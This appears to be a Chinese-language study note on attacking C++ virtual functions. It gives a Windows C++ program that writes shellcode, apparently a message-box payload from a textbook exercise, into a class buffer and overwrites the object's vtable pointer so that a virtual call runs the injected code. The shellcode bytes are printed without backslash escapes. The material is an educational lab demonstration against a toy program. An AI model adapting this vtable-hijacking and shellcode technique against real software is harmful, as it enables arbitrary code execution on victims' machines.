攻击虚函数学习

#include "stdafx.h"
#include <windows.h>
#include <iostream.h>

class failwest
{
public:
	char buf[200];
	virtual void f1(void)
	{
		cout<<"Class Vtable test";
	}
};
failwest overflow,*p;

char shellcode[]=

"x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90"

"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
"x53"
"x68x64x61x30x23"
"x68x23x50x61x6E"
"x8BxC4x53x50x50"
"x53xFFx57xFCx53xFFx57xF8"//168



"x90x90x90x90x90x90x90x90"
"x74xBAx40x00";//这里是是V函数指针
//0040BA74
int main(int argc, char* argv[])
{
	char * p_vtable;
	
	p_vtable = overflow.buf - 4;
	//0040BB38
	strcpy(overflow.buf,shellcode);
	p_vtable[3]=0x00;//这里是Vtable 指针
	p_vtable[2]=0x40;
	p_vtable[1]=0xbb;
	p_vtable[0]=0x38;
//Vtable指针指向 V函数  
//在汇编中是 call Vtable指针的方式调用的

	p = &overflow;
	p->f1();

	return 0;
}